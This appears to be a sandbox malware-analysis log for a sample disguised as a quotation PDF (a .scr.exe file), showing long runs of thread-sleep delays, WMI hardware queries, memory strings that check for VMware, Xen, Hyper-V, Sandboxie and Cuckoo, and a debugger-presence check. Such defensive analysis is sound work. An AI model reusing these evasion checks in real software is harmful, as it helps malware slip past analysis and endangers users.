Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -98936s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -98827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -98615s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -98403s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -98282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -98141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -97922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -97813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -97703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -97594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -97485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -97235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -97110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -96985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -96860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -96735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -96610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -96485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -96360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -96235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -96110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -95985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -95780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -95646s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -95516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595747s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7896	Thread sleep count: 1841 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7896	Thread sleep count: 7993 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -598576s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -598452s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -598333s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -597886s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -597546s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -597218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596999s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596124s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -595905s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -595792s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -595653s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -595543s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -595387s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -594843s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -594625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -594515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -594406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -594296s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe TID: 7892	Thread sleep time: -594187s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 99764	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 99313	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 99073	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 98936	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 98827	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 98615	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 98403	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 98282	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 98141	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 97813	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 97703	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 97594	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 97485	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 97235	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 97110	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 96985	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 96860	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 96735	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 96610	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 96485	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 96360	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 96235	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 96110	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 95985	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 95780	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 95646	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 95516	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595747	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598576	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598333	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597886	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595792	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595653	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595543	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595387	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594187	Jump to behavior

Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6CF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6CF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1:en-CH:Microsoft\|VMWare\|Virtual
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6CF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6CF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2224780699.00000228FF3E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6CF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6D71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: explorer SbieDll.dll!cuckoomon.dll"win32_process.handle='{0}'#ParentProcessId$cmd%select * from Win32_BIOS8Unexpected WMI query failure&version'SerialNumber)VMware\|VIRTUAL\|A M I\|Xenselect from Win32_ComputerSystem+manufacturer,model-Microsoft\|VMWare\|Virtual.john/anna0xxxxxxxx
Source: aspnet_compiler.exe, 00000004.00000002.2959731204.000001904F01A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Code function: 0_2_00007FFD9BAB1535 CheckRemoteDebuggerPresent,

